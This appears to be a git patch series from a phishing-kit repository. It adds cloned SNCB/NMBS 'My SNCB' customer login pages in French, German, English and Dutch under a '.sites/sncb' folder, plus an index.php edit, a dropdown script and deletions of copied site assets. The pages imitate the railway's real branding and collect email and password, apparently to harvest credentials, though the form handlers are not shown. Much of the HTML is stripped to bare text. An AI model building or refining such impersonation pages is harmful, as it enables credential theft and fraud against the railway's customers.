y;l=r.event&&o.global,l&&0===r.active++&&r.event.trigger("ajaxStart"),o.type=o.type.toUpperCase(),o.hasContent=!Db.test(o.type),f=o.url.replace(zb,""),o.hasContent?o.data&&o.processData&&0===(o.contentType||"").indexOf("application/x-www-form-urlencoded")&&(o.data=o.data.replace(yb,"+")):(n=o.url.slice(f.length),o.data&&(f+=(sb.test(f)?"&":"?")+o.data,delete o.data),o.cache===!1&&(f=f.replace(Ab,""),n=(sb.test(f)?"&":"?")+"_="+rb++ +n),o.url=f+n),o.ifModified&&(r.lastModified[f]&&y.setRequestHeader("If-Modified-Since",r.lastModified[f]),r.etag[f]&&y.setRequestHeader("If-None-Match",r.etag[f])),(o.data&&o.hasContent&&o.contentType!==!1||c.contentType)&&y.setRequestHeader("Content-Type",o.contentType),y.setRequestHeader("Accept",o.dataTypes[0]&&o.accepts[o.dataTypes[0]]?o.accepts[o.dataTypes[0]]+("*"!==o.dataTypes[0]?", "+Hb+"; q=0.01":""):o.accepts["*"]);for(m in o.headers)y.setRequestHeader(m,o.headers[m]);if(o.beforeSend&&(o.beforeSend.call(p,y,o)===!1||k))return y.abort();if(x="abort",t.add(o.complete),y.done(o.success),y.fail(o.error),e=Kb(Gb,o,c,y)){if(y.readyState=1,l&&q.trigger("ajaxSend",[y,o]),k)return y;o.async&&o.timeout>0&&(i=a.setTimeout(function(){y.abort("timeout")},o.timeout));try{k=!1,e.send(v,A)}catch(z){if(k)throw z;A(-1,z)}}else A(-1,"No Transport");function A(b,c,d,h){var j,m,n,v,w,x=c;k||(k=!0,i&&a.clearTimeout(i),e=void 0,g=h||"",y.readyState=b>0?4:0,j=b>=200&&b<300||304===b,d&&(v=Mb(o,y,d)),v=Nb(o,v,y,j),j?(o.ifModified&&(w=y.getResponseHeader("Last-Modified"),w&&(r.lastModified[f]=w),w=y.getResponseHeader("etag"),w&&(r.etag[f]=w)),204===b||"HEAD"===o.type?x="nocontent":304===b?x="notmodified":(x=v.state,m=v.data,n=v.error,j=!n)):(n=x,!b&&x||(x="error",b<0&&(b=0))),y.status=b,y.statusText=(c||x)+"",j?s.resolveWith(p,[m,x,y]):s.rejectWith(p,[y,x,n]),y.statusCode(u),u=void 0,l&&q.trigger(j?"ajaxSuccess":"ajaxError",[y,o,j?m:n]),t.fireWith(p,[y,x]),l&&(q.trigger("ajaxComplete",[y,o]),--r.active||r.event.trigger("ajaxStop")))}return y},getJSON:function(a,b,c){return r.get(a,b,c,"json")},getScript:function(a,b){return r.get(a,void 0,b,"script")}}),r.each(["get","post"],function(a,b){r[b]=function(a,c,d,e){return r.isFunction(c)&&(e=e||d,d=c,c=void 0),r.ajax(r.extend({url:a,type:b,dataType:e,data:c,success:d},r.isPlainObject(a)&&a))}}),r._evalUrl=function(a){return r.ajax({url:a,type:"GET",dataType:"script",cache:!0,async:!1,global:!1,"throws":!0})},r.fn.extend({wrapAll:function(a){var b;return this[0]&&(r.isFunction(a)&&(a=a.call(this[0])),b=r(a,this[0].ownerDocument).eq(0).clone(!0),this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstElementChild)a=a.firstElementChild;return a}).append(this)),this},wrapInner:function(a){return r.isFunction(a)?this.each(function(b){r(this).wrapInner(a.call(this,b))}):this.each(function(){var b=r(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=r.isFunction(a);return this.each(function(c){r(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(a){return this.parent(a).not("body").each(function(){r(this).replaceWith(this.childNodes)}),this}}),r.expr.pseudos.hidden=function(a){return!r.expr.pseudos.visible(a)},r.expr.pseudos.visible=function(a){return!!(a.offsetWidth||a.offsetHeight||a.getClientRects().length)},r.ajaxSettings.xhr=function(){try{return new a.XMLHttpRequest}catch(b){}};var Ob={0:200,1223:204},Pb=r.ajaxSettings.xhr();o.cors=!!Pb&&"withCredentials"in Pb,o.ajax=Pb=!!Pb,r.ajaxTransport(function(b){var c,d;if(o.cors||Pb&&!b.crossDomain)return{send:function(e,f){var g,h=b.xhr();if(h.open(b.type,b.url,b.async,b.username,b.password),b.xhrFields)for(g in b.xhrFields)h[g]=b.xhrFields[g];b.mimeType&&h.overrideMimeType&&h.overrideMimeType(b.mimeType),b.crossDomain||e["X-Requested-With"]||(e["X-Requested-With"]="XMLHttpRequest");for(g in e)h.setRequestHeader(g,e[g]);c=function(a){return function(){c&&(c=d=h.onload=h.onerror=h.onabort=h.onreadystatechange=null,"abort"===a?h.abort():"error"===a?"number"!=typeof h.status?f(0,"error"):f(h.status,h.statusText):f(Ob[h.status]||h.status,h.statusText,"text"!==(h.responseType||"text")||"string"!=typeof h.responseText?{binary:h.response}:{text:h.responseText},h.getAllResponseHeaders()))}},h.onload=c(),d=h.onerror=c("error"),void 0!==h.onabort?h.onabort=d:h.onreadystatechange=function(){4===h.readyState&&a.setTimeout(function(){c&&d()})},c=c("abort");try{h.send(b.hasContent&&b.data||null)}catch(i){if(c)throw i}},abort:function(){c&&c()}}}),r.ajaxPrefilter(function(a){a.crossDomain&&(a.contents.script=!1)}),r.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/\b(?:java|ecma)script\b/},converters:{"text script":function(a){return r.globalEval(a),a}}}),r.ajaxPrefilter("script",function(a){void 0===a.cache&&(a.cache=!1),a.crossDomain&&(a.type="GET")}),r.ajaxTransport("script",function(a){if(a.crossDomain){var b,c;return{send:function(e,f){b=r(" - \ No newline at end of file + From 42122540783683e2acbb6957902f587b3dd53351 Mon Sep 17 00:00:00 2001 From: dracksters Date: Mon, 10 Jun 2024 15:46:34 +0200 Subject: [PATCH 21/64] Update login_en.html --- .sites/sncb/login_en.html | 25 ++++++++++++++++++++++++- 1 file changed, 24 insertions(+), 1 deletion(-) diff --git a/.sites/sncb/login_en.html b/.sites/sncb/login_en.html index d8f6fb09..86041ee8 100644 --- a/.sites/sncb/login_en.html +++ b/.sites/sncb/login_en.html @@ -311,6 +311,29 @@

Login

+
+ +
Veuillez saisir une adresse e-mail valide
+
+ +
+ + + +
Veuillez saisir votre mot de passe
+
+ +
From eb10e272e112f4312192e086ac3e0848763e4c42 Mon Sep 17 00:00:00 2001 From: dracksters Date: Mon, 10 Jun 2024 15:46:56 +0200 Subject: [PATCH 22/64] Update index.php --- .sites/sncb/index.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.sites/sncb/index.php b/.sites/sncb/index.php index f38c5805..d0a7bade 100644 --- a/.sites/sncb/index.php +++ b/.sites/sncb/index.php @@ -1,5 +1,5 @@ From f5a24ea68b92225e23ed038865bce40be6640c92 Mon Sep 17 00:00:00 2001 From: dracksters Date: Mon, 10 Jun 2024 15:51:40 +0200 Subject: [PATCH 23/64] Update index.php --- .sites/sncb/index.php | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.sites/sncb/index.php b/.sites/sncb/index.php index d0a7bade..f38c5805 100644 --- a/.sites/sncb/index.php +++ b/.sites/sncb/index.php @@ -1,5 +1,5 @@ From d952256fb7847fb2b104ac1c3e02c49e7228a04a Mon Sep 17 00:00:00 2001 From: dracksters Date: Tue, 11 Jun 2024 10:01:12 +0200 Subject: [PATCH 24/64] language updates --- .sites/login.html | 406 ++++++++++++++++++++++++++++++++++++++++++ .sites/login_de.html | 407 +++++++++++++++++++++++++++++++++++++++++++ .sites/login_en.html | 406 ++++++++++++++++++++++++++++++++++++++++++ .sites/login_nl.html | 405 ++++++++++++++++++++++++++++++++++++++++++ .sites/script.js | 17 ++ 5 files changed, 1641 insertions(+) create mode 100644 .sites/login.html create mode 100644 .sites/login_de.html create mode 100644 .sites/login_en.html create mode 100644 .sites/login_nl.html create mode 100644 .sites/script.js diff --git a/.sites/login.html b/.sites/login.html new file mode 100644 index 00000000..611ebc63 --- /dev/null +++ b/.sites/login.html @@ -0,0 +1,406 @@ + + + + + + + My SNCB : Se connecter à votre espace client | SNCB + + + + + + + + + + + + + + + + + + + arrow-down + + + + + + + arrow-left + + + + arrow-right + + + + arrow-up + + + + + + + bike + + + + + + + + + + + + bus + + + + + + + + + + + + + car + + + + + + check + + + + + + + + + + + + check + + + + check2-anim + + + + + + + + + close + + + + + dot + + + + + + + + + + menu + + + + metro + + + + + + + + + + print + + + + + + + + + + + roadwork + + + + search + + + + + + + + + share + + + + + + + switch + + + + train + + + + tram + + + + walk + + + + + + + + + + + + + + + warning + + + + + + + + + + + + + + + warning-2 + + + + + + + + + + + + + + + + + +
+ +
+
+

My SNCB

+

Avec votre compte My SNCB, profitez de tous nos services pratiques personnalisés en ligne. Pour renouveler un abonnement, vous avez besoin d’un compte My SNCB.

+
+ +
+
+

Login

+ +
+ + + + + + + +
+ +
Veuillez saisir une adresse e-mail valide
+
+ +
+ + + +
Veuillez saisir votre mot de passe
+
+ +
+ +
+
+
+
+ + + + + + + Mot de passe oublié? + + + + + + +
+ + + Pas reçu l’e-mail d’activation? + + + + + + + +
+ +
+ +
+

Pas encore de compte?

+

Créez votre compte en ligne en quelques clics pour poursuivre votre commande et profiter des nombreux avantages de My SNCB.

+ + + Créez votre compte + + + +
+
+
+ +
+
+

Les avantages de votre compte My SNCB :

+
    +
  • +
  • Achetez et renouvelez un abonnement en quelques clics
  • +
  • Téléchargez votre attestation voyageur (valable pour votre déclaration fiscale)
  • +
  • Consultez le solde de votre porte-feuille électronique
  • +
  • Réservez une assistance mobilité réduite en ligne
  • +
+
+
+
+ + + \ No newline at end of file diff --git a/.sites/login_de.html b/.sites/login_de.html new file mode 100644 index 00000000..6fef1aa4 --- /dev/null +++ b/.sites/login_de.html @@ -0,0 +1,407 @@ + + + + + + + My SNCB: Ihr Kundenbereich | SNCB + + + + + + + + + + + + + + + + + + + + arrow-down + + + + + + + arrow-left + + + + arrow-right + + + + arrow-up + + + + + + + bike + + + + + + + + + + + + bus + + + + + + + + + + + + + car + + + + + + check + + + + + + + + + + + + check + + + + check2-anim + + + + + + + + + close + + + + + dot + + + + + + + + + + menu + + + + metro + + + + + + + + + + print + + + + + + + + + + + roadwork + + + + search + + + + + + + + + share + + + + + + + switch + + + + train + + + + tram + + + + walk + + + + + + + + + + + + + + + warning + + + + + + + + + + + + + + + warning-2 + + + + + + + + + + + + + + + + + +
+ +
+
+

My SNCB/NMBS

+

Nutzen Sie unsere praktischen online Services mit Ihrem My SNCB/NMBS Konto.

+
+ +
+
+

Einloggen

+ +
+ + + + + + + +
+ + +
Bitte geben Sie eine gültige E-Mail-Adresse ein
+
+ +
+ + + +
Bitte geben Sie Ihr Passwort ein
+
+ +
+ +
+
+
+
+ + + + + + + + Passwort vergessen? + + + + + +
+ + + + Aktivierungsmail nicht erhalten? + + + + + + +
+ +
+ +
+

Neu bei My SNCB/NMBS?

+

Melden Sie sich an, um Ihre Buchung fortzusetzen oder die My SNCB/NMBS Vorteile zu nutzen.

+ + + + Ihr Konto erstellen + + +
+
+
+ +
+
+

Die Vorteile Ihres My SNCB-Kontos:

+
    +
  • +
  • Kaufen und erneuern Sie ein Abonnement mit wenigen Klicks
  • +
  • Laden Sie Ihre Steuerbescheinigung herunter (gültig für Ihre Steuererklärung)
  • +
  • Überprüfen Sie Ihr elektronisches Portemonnaie Guthaben
  • +
  • Hilfe für eingeschränkte Mobilität online buchen
  • +
+
+
+
+ + + + \ No newline at end of file diff --git a/.sites/login_en.html b/.sites/login_en.html new file mode 100644 index 00000000..36b4d631 --- /dev/null +++ b/.sites/login_en.html @@ -0,0 +1,406 @@ + + + + + + + My SNCB: Log in to your customer account | SNCB + + + + + + + + + + + + + + + + + + + + arrow-down + + + + + + + arrow-left + + + + arrow-right + + + + arrow-up + + + + + + + bike + + + + + + + + + + + + bus + + + + + + + + + + + + + car + + + + + + check + + + + + + + + + + + + check + + + + check2-anim + + + + + + + + + close + + + + + dot + + + + + + + + + + menu + + + + metro + + + + + + + + + + print + + + + + + + + + + + roadwork + + + + search + + + + + + + + + share + + + + + + + switch + + + + train + + + + tram + + + + walk + + + + + + + + + + + + + + + warning + + + + + + + + + + + + + + + warning-2 + + + + + + + + + + + + + + + + + +
+ +
+
+

My SNCB/NMBS

+

With your own My SNCB/NMBS account, take advantage of all our online personalised, practical services.

+
+ +
+
+

Login

+ +
+ + + + + + + +
+ + +
Please enter a valid email
+
+ +
+ + + +
Please enter your password
+
+ +
+ +
+
+
+
+ + + + + + + + + Reset your password + + + + +
+ + + + + Resend activation email + + + + + +
+ +
+ +
+

Don’t have an account yet?

+

Create your online account, which just takes a few clicks to complete the process, and take advantage of the numerous advantages of My SNCB/NMBS.

+ + + + + Create your account + +
+
+
+ +
+
+

The benefits of your My SNCB account :

+
    +
  • +
  • Buy and renew your season ticket in a few clicks
  • +
  • Download your traveller certificate (valid for your tax return)
  • +
  • View the balance of your eWallet
  • +
  • Book your reduced mobility assistance online
  • +
+
+
+
+ + + \ No newline at end of file diff --git a/.sites/login_nl.html b/.sites/login_nl.html new file mode 100644 index 00000000..7d23b85f --- /dev/null +++ b/.sites/login_nl.html @@ -0,0 +1,405 @@ + + + + + + + My NMBS: Log je in op je klantenprofiel | NMBS + + + + + + + + + + + + + + + + + + + + arrow-down + + + + + + + arrow-left + + + + arrow-right + + + + arrow-up + + + + + + + bike + + + + + + + + + + + + bus + + + + + + + + + + + + + car + + + + + + check + + + + + + + + + + + + check + + + + check2-anim + + + + + + + + + close + + + + + dot + + + + + + + + + + menu + + + + metro + + + + + + + + + + print + + + + + + + + + + + roadwork + + + + search + + + + + + + + + share + + + + + + + switch + + + + train + + + + tram + + + + walk + + + + + + + + + + + + + + + warning + + + + + + + + + + + + + + + warning-2 + + + + + + + + + + + + + + + + + +
+ +
+
+

My NMBS

+

Maak met je My NMBS-account gebruik van al onze gepersonaliseerde online diensten. Om een abonnement te verlengen, heb je een My NMBS-account nodig.

+
+ +
+
+

Login

+ +
+ + + + + + + +
+ +
Gelieve een geldig e-mail adres in te geven
+
+ +
+ + + +
Gelieve je paswoord in te geven
+
+ +
+ +
+
+
+
+ + + + + + Wachtwoord vergeten? + + + + + + + +
+ + Geen bevestigingsmail ontvangen? + + + + + + + + +
+ +
+ +
+

Nog geen account?

+

Maak een online account aan in slechts enkele klikken om je bestelling verder te zetten en te genieten van de voordelen van My NMBS.

+ + Maak een account aan + + + + +
+
+
+ +
+
+

De voordelen van je My NMBS account:

+
    +
  • +
  • Koop en vernieuw een abonnement in enkele kliks
  • +
  • Download je reizigersattest (geldig voor uw belastingaangifte)
  • +
  • Controleer het saldo van je elektronische portefeuille
  • +
  • Reserveer online assistentie bij beperkte mobiliteit
  • +
+
+
+
+ + + \ No newline at end of file diff --git a/.sites/script.js b/.sites/script.js new file mode 100644 index 00000000..0f30a224 --- /dev/null +++ b/.sites/script.js @@ -0,0 +1,17 @@ +document.addEventListener('DOMContentLoaded', function() { + const dropdownTrigger = document.querySelector('.dropdown__trigger'); + const dropdownList = document.querySelector('.dropdown__list'); + + dropdownTrigger.addEventListener('click', function() { + const expanded = this.getAttribute('aria-expanded') === 'true' || false; + this.setAttribute('aria-expanded', !expanded); + dropdownList.style.display = expanded ? 'none' : 'block'; + }); + + document.addEventListener('click', function(event) { + if (!dropdownTrigger.contains(event.target)) { + dropdownTrigger.setAttribute('aria-expanded', 'false'); + dropdownList.style.display = 'none'; + } + }); +}); From ea5edbaa3a8dd410231a2fe292b42692f53d6179 Mon Sep 17 00:00:00 2001 From: dracksters Date: Tue, 11 Jun 2024 10:02:49 +0200 Subject: [PATCH 25/64] Add files via upload --- .sites/sncb/login.html | 57 +++--- .sites/sncb/login_de.html | 407 ++++++++++++++++++++++++++++++++++++++ .sites/sncb/login_en.html | 87 ++++---- .sites/sncb/login_nl.html | 405 +++++++++++++++++++++++++++++++++++++ .sites/sncb/script.js | 17 ++ 5 files changed, 893 insertions(+), 80 deletions(-) create mode 100644 .sites/sncb/login_de.html create mode 100644 .sites/sncb/login_nl.html create mode 100644 .sites/sncb/script.js diff --git a/.sites/sncb/login.html b/.sites/sncb/login.html index b1ddabb3..611ebc63 100644 --- a/.sites/sncb/login.html +++ b/.sites/sncb/login.html @@ -243,34 +243,37 @@
- + + - - - \ No newline at end of file + + + \ No newline at end of file diff --git a/.sites/sncb/login_de.html b/.sites/sncb/login_de.html new file mode 100644 index 00000000..6fef1aa4 --- /dev/null +++ b/.sites/sncb/login_de.html @@ -0,0 +1,407 @@ + + + + + + + My SNCB: Ihr Kundenbereich | SNCB + + + + + + + + + + + + + + + + + + + + arrow-down + + + + + + + arrow-left + + + + arrow-right + + + + arrow-up + + + + + + + bike + + + + + + + + + + + + bus + + + + + + + + + + + + + car + + + + + + check + + + + + + + + + + + + check + + + + check2-anim + + + + + + + + + close + + + + + dot + + + + + + + + + + menu + + + + metro + + + + + + + + + + print + + + + + + + + + + + roadwork + + + + search + + + + + + + + + share + + + + + + + switch + + + + train + + + + tram + + + + walk + + + + + + + + + + + + + + + warning + + + + + + + + + + + + + + + warning-2 + + + + + + + + + + + + + + + + + +
+ +
+
+

My SNCB/NMBS

+

Nutzen Sie unsere praktischen online Services mit Ihrem My SNCB/NMBS Konto.

+
+ +
+
+

Einloggen

+ +
+ + + + + + + +
+ + +
Bitte geben Sie eine gültige E-Mail-Adresse ein
+
+ +
+ + + +
Bitte geben Sie Ihr Passwort ein
+
+ +
+ +
+
+
+
+ + + + + + + + Passwort vergessen? + + + + + +
+ + + + Aktivierungsmail nicht erhalten? + + + + + + +
+ +
+ +
+

Neu bei My SNCB/NMBS?

+

Melden Sie sich an, um Ihre Buchung fortzusetzen oder die My SNCB/NMBS Vorteile zu nutzen.

+ + + + Ihr Konto erstellen + + +
+
+
+ +
+
+

Die Vorteile Ihres My SNCB-Kontos:

+
    +
  • +
  • Kaufen und erneuern Sie ein Abonnement mit wenigen Klicks
  • +
  • Laden Sie Ihre Steuerbescheinigung herunter (gültig für Ihre Steuererklärung)
  • +
  • Überprüfen Sie Ihr elektronisches Portemonnaie Guthaben
  • +
  • Hilfe für eingeschränkte Mobilität online buchen
  • +
+
+
+
+ + + + \ No newline at end of file diff --git a/.sites/sncb/login_en.html b/.sites/sncb/login_en.html index 86041ee8..36b4d631 100644 --- a/.sites/sncb/login_en.html +++ b/.sites/sncb/login_en.html @@ -1,7 +1,6 @@ - @@ -9,8 +8,7 @@ - - + @@ -248,29 +246,30 @@ @@ -303,7 +302,7 @@

My S

Login

-
+ @@ -311,44 +310,28 @@

Login

-
- +
+
Veuillez saisir une adresse e-mail valide
+ data-protonpass-base-css='{"padding-right":""}'> +
Please enter a valid email
- -
Veuillez saisir votre mot de passe
-
- - +
@@ -418,8 +401,6 @@

The benefits of your My SNCB account :

+ - - - - + \ No newline at end of file diff --git a/.sites/sncb/login_nl.html b/.sites/sncb/login_nl.html new file mode 100644 index 00000000..7d23b85f --- /dev/null +++ b/.sites/sncb/login_nl.html @@ -0,0 +1,405 @@ + + + + + + + My NMBS: Log je in op je klantenprofiel | NMBS + + + + + + + + + + + + + + + + + + + + arrow-down + + + + + + + arrow-left + + + + arrow-right + + + + arrow-up + + + + + + + bike + + + + + + + + + + + + bus + + + + + + + + + + + + + car + + + + + + check + + + + + + + + + + + + check + + + + check2-anim + + + + + + + + + close + + + + + dot + + + + + + + + + + menu + + + + metro + + + + + + + + + + print + + + + + + + + + + + roadwork + + + + search + + + + + + + + + share + + + + + + + switch + + + + train + + + + tram + + + + walk + + + + + + + + + + + + + + + warning + + + + + + + + + + + + + + + warning-2 + + + + + + + + + + + + + + + + + +
+ +
+
+

My NMBS

+

Maak met je My NMBS-account gebruik van al onze gepersonaliseerde online diensten. Om een abonnement te verlengen, heb je een My NMBS-account nodig.

+
+ +
+
+

Login

+ + + + + + + + + +
+ +
Gelieve een geldig e-mail adres in te geven
+
+ +
+ + + +
Gelieve je paswoord in te geven
+
+ +
+ +
+
+
+
+ + + + + + Wachtwoord vergeten? + + + + + + + +
+ + Geen bevestigingsmail ontvangen? + + + + + + + + + + +
+ +
+

Nog geen account?

+

Maak een online account aan in slechts enkele klikken om je bestelling verder te zetten en te genieten van de voordelen van My NMBS.

+ + Maak een account aan + + + + +
+
+
+ +
+
+

De voordelen van je My NMBS account:

+
    +
  • +
  • Koop en vernieuw een abonnement in enkele kliks
  • +
  • Download je reizigersattest (geldig voor uw belastingaangifte)
  • +
  • Controleer het saldo van je elektronische portefeuille
  • +
  • Reserveer online assistentie bij beperkte mobiliteit
  • +
+
+
+
+ + + \ No newline at end of file diff --git a/.sites/sncb/script.js b/.sites/sncb/script.js new file mode 100644 index 00000000..0f30a224 --- /dev/null +++ b/.sites/sncb/script.js @@ -0,0 +1,17 @@ +document.addEventListener('DOMContentLoaded', function() { + const dropdownTrigger = document.querySelector('.dropdown__trigger'); + const dropdownList = document.querySelector('.dropdown__list'); + + dropdownTrigger.addEventListener('click', function() { + const expanded = this.getAttribute('aria-expanded') === 'true' || false; + this.setAttribute('aria-expanded', !expanded); + dropdownList.style.display = expanded ? 'none' : 'block'; + }); + + document.addEventListener('click', function(event) { + if (!dropdownTrigger.contains(event.target)) { + dropdownTrigger.setAttribute('aria-expanded', 'false'); + dropdownList.style.display = 'none'; + } + }); +}); From 216a94d8b18df346934d02635335142ed5bc66b5 Mon Sep 17 00:00:00 2001 From: dracksters Date: Tue, 11 Jun 2024 10:04:03 +0200 Subject: [PATCH 26/64] Delete .sites/login_nl.html --- .sites/login_nl.html | 405 ------------------------------------------- 1 file changed, 405 deletions(-) delete mode 100644 .sites/login_nl.html diff --git a/.sites/login_nl.html b/.sites/login_nl.html deleted file mode 100644 index 7d23b85f..00000000 --- a/.sites/login_nl.html +++ /dev/null @@ -1,405 +0,0 @@ - - - - - - - My NMBS: Log je in op je klantenprofiel | NMBS - - - - - - - - - - - - - - - - - - - - arrow-down - - - - - - - arrow-left - - - - arrow-right - - - - arrow-up - - - - - - - bike - - - - - - - - - - - - bus - - - - - - - - - - - - - car - - - - - - check - - - - - - - - - - - - check - - - - check2-anim - - - - - - - - - close - - - - - dot - - - - - - - - - - menu - - - - metro - - - - - - - - - - print - - - - - - - - - - - roadwork - - - - search - - - - - - - - - share - - - - - - - switch - - - - train - - - - tram - - - - walk - - - - - - - - - - - - - - - warning - - - - - - - - - - - - - - - warning-2 - - - - - - - - - - - - - - - - - -
- -
-
-

My NMBS

-

Maak met je My NMBS-account gebruik van al onze gepersonaliseerde online diensten. Om een abonnement te verlengen, heb je een My NMBS-account nodig.

-
- -
-
-

Login

- -
- - - - - - - -
- -
Gelieve een geldig e-mail adres in te geven
-
- -
- - - -
Gelieve je paswoord in te geven
-
- -
- -
-
-
-
- - - - - - Wachtwoord vergeten? - - - - - - - -
- - Geen bevestigingsmail ontvangen? - - - - - - - - -
- -
- -
-

Nog geen account?

-

Maak een online account aan in slechts enkele klikken om je bestelling verder te zetten en te genieten van de voordelen van My NMBS.

- - Maak een account aan - - - - -
-
-
- -
-
-

De voordelen van je My NMBS account:

-
    -
  • -
  • Koop en vernieuw een abonnement in enkele kliks
  • -
  • Download je reizigersattest (geldig voor uw belastingaangifte)
  • -
  • Controleer het saldo van je elektronische portefeuille
  • -
  • Reserveer online assistentie bij beperkte mobiliteit
  • -
-
-
-
- - - \ No newline at end of file From d7669e84fa0836e53bab226c8a87d77b16509e29 Mon Sep 17 00:00:00 2001 From: dracksters Date: Tue, 11 Jun 2024 10:04:17 +0200 Subject: [PATCH 27/64] Delete .sites/sncb/login_en_files directory --- ...pp.min.js.t\303\251l\303\251charg\303\251" | 54749 ---------------- ...jquery.js.t\303\251l\303\251charg\303\251" | 4 - ...0d.min.js.t\303\251l\303\251charg\303\251" | 2 - .sites/sncb/login_en_files/style.css | 1 - 4 files changed, 54756 deletions(-) delete mode 100644 ".sites/sncb/login_en_files/app.min.js.t\303\251l\303\251charg\303\251" delete mode 100644 ".sites/sncb/login_en_files/jquery.js.t\303\251l\303\251charg\303\251" delete mode 100644 ".sites/sncb/login_en_files/launch-1a553c357b0d.min.js.t\303\251l\303\251charg\303\251" delete mode 100644 .sites/sncb/login_en_files/style.css diff --git "a/.sites/sncb/login_en_files/app.min.js.t\303\251l\303\251charg\303\251" "b/.sites/sncb/login_en_files/app.min.js.t\303\251l\303\251charg\303\251" deleted file mode 100644 index 2fa941ea..00000000 --- "a/.sites/sncb/login_en_files/app.min.js.t\303\251l\303\251charg\303\251" +++ /dev/null @@ -1,54749 +0,0 @@ -(function (e) { - document.querySelector('[name="userName"]').addEventListener("input", (e) => { - e.target.value = e.target.value.replace(/\s/g, ''); - }); - var t = {}; - - function i(n) { - if (t[n]) { - return t[n].exports - } - var r = t[n] = { - i: n, - l: false, - exports: {} - }; - e[n].call(r.exports, r, r.exports, i); - r.l = true; - return r.exports - } - i.m = e; - i.c = t; - i.d = function (e, t, n) { - if (!i.o(e, t)) { - Object.defineProperty(e, t, { - configurable: false, - enumerable: true, - get: n - }) - } - }; - i.n = function (e) { - var t = e && e.__esModule ? function t() { - return e["default"] - } : function t() { - return e - }; - i.d(t, "a", t); - return t - }; - i.o = function (e, t) { - return Object.prototype.hasOwnProperty.call(e, t) - }; - i.p = "http://localhost:2992/"; - return i(i.s = 136) -})([function (e, t, i) { - (function (e) { - var t; - (function (t, i) { - true ? e.exports = i() : typeof define === "function" && define.amd ? define(i) : t.moment = i() - })(this, function () { - "use strict"; - var n; - - function r() { - return n.apply(null, arguments) - } - - function a(e) { - n = e - } - - function s(e) { - return e instanceof Array || Object.prototype.toString.call(e) === "[object Array]" - } - - function o(e) { - return e != null && Object.prototype.toString.call(e) === "[object Object]" - } - - function l(e) { - if (Object.getOwnPropertyNames) { - return Object.getOwnPropertyNames(e).length === 0 - } else { - var t; - for (t in e) { - if (e.hasOwnProperty(t)) { - return false - } - } - return true - } - } - - function u(e) { - return e === void 0 - } - - function d(e) { - return typeof e === "number" || Object.prototype.toString.call(e) === "[object Number]" - } - - function f(e) { - return e instanceof Date || Object.prototype.toString.call(e) === "[object Date]" - } - - function c(e, t) { - var i = [], - n; - for (n = 0; n < e.length; ++n) { - i.push(t(e[n], n)) - } - return i - } - - function h(e, t) { - return Object.prototype.hasOwnProperty.call(e, t) - } - - function m(e, t) { - for (var i in t) { - if (h(t, i)) { - e[i] = t[i] - } - } - if (h(t, "toString")) { - e.toString = t.toString - } - if (h(t, "valueOf")) { - e.valueOf = t.valueOf - } - return e - } - - function p(e, t, i, n) { - return Ui(e, t, i, n, true).utc() - } - - function v() { - return { - empty: false, - unusedTokens: [], - unusedInput: [], - overflow: -2, - charsLeftOver: 0, - nullInput: false, - invalidMonth: null, - invalidFormat: false, - userInvalidated: false, - iso: false, - parsedDateParts: [], - meridiem: null, - rfc2822: false, - weekdayMismatch: false - } - } - - function _(e) { - if (e._pf == null) { - e._pf = v() - } - return e._pf - } - var g; - if (Array.prototype.some) { - g = Array.prototype.some - } else { - g = function (e) { - var t = Object(this); - var i = t.length >>> 0; - for (var n = 0; n < i; n++) { - if (n in t && e.call(this, t[n], n, t)) { - return true - } - } - return false - } - } - - function y(e) { - if (e._isValid == null) { - var t = _(e); - var i = g.call(t.parsedDateParts, function (e) { - return e != null - }); - var n = !isNaN(e._d.getTime()) && t.overflow < 0 && !t.empty && !t.invalidMonth && !t.invalidWeekday && !t.weekdayMismatch && !t.nullInput && !t.invalidFormat && !t.userInvalidated && (!t.meridiem || t.meridiem && i); - if (e._strict) { - n = n && t.charsLeftOver === 0 && t.unusedTokens.length === 0 && t.bigHour === undefined - } - if (Object.isFrozen == null || !Object.isFrozen(e)) { - e._isValid = n - } else { - return n - } - } - return e._isValid - } - - function b(e) { - var t = p(NaN); - if (e != null) { - m(_(t), e) - } else { - _(t).userInvalidated = true - } - return t - } - var w = r.momentProperties = []; - - function M(e, t) { - var i, n, r; - if (!u(t._isAMomentObject)) { - e._isAMomentObject = t._isAMomentObject - } - if (!u(t._i)) { - e._i = t._i - } - if (!u(t._f)) { - e._f = t._f - } - if (!u(t._l)) { - e._l = t._l - } - if (!u(t._strict)) { - e._strict = t._strict - } - if (!u(t._tzm)) { - e._tzm = t._tzm - } - if (!u(t._isUTC)) { - e._isUTC = t._isUTC - } - if (!u(t._offset)) { - e._offset = t._offset - } - if (!u(t._pf)) { - e._pf = _(t) - } - if (!u(t._locale)) { - e._locale = t._locale - } - if (w.length > 0) { - for (i = 0; i < w.length; i++) { - n = w[i]; - r = t[n]; - if (!u(r)) { - e[n] = r - } - } - } - return e - } - var k = false; - - function L(e) { - M(this, e); - this._d = new Date(e._d != null ? e._d.getTime() : NaN); - if (!this.isValid()) { - this._d = new Date(NaN) - } - if (k === false) { - k = true; - r.updateOffset(this); - k = false - } - } - - function T(e) { - return e instanceof L || e != null && e._isAMomentObject != null - } - - function x(e) { - if (e < 0) { - return Math.ceil(e) || 0 - } else { - return Math.floor(e) - } - } - - function S(e) { - var t = +e, - i = 0; - if (t !== 0 && isFinite(t)) { - i = x(t) - } - return i - } - - function Y(e, t, i) { - var n = Math.min(e.length, t.length), - r = Math.abs(e.length - t.length), - a = 0, - s; - for (s = 0; s < n; s++) { - if (i && e[s] !== t[s] || !i && S(e[s]) !== S(t[s])) { - a++ - } - } - return a + r - } - - function D(e) { - if (r.suppressDeprecationWarnings === false && typeof console !== "undefined" && console.warn) { - console.warn("Deprecation warning: " + e) - } - } - - function E(e, t) { - var i = true; - return m(function () { - if (r.deprecationHandler != null) { - r.deprecationHandler(null, e) - } - if (i) { - var n = []; - var a; - for (var s = 0; s < arguments.length; s++) { - a = ""; - if (typeof arguments[s] === "object") { - a += "\n[" + s + "] "; - for (var o in arguments[0]) { - a += o + ": " + arguments[0][o] + ", " - } - a = a.slice(0, -2) - } else { - a = arguments[s] - } - n.push(a) - } - D(e + "\nArguments: " + 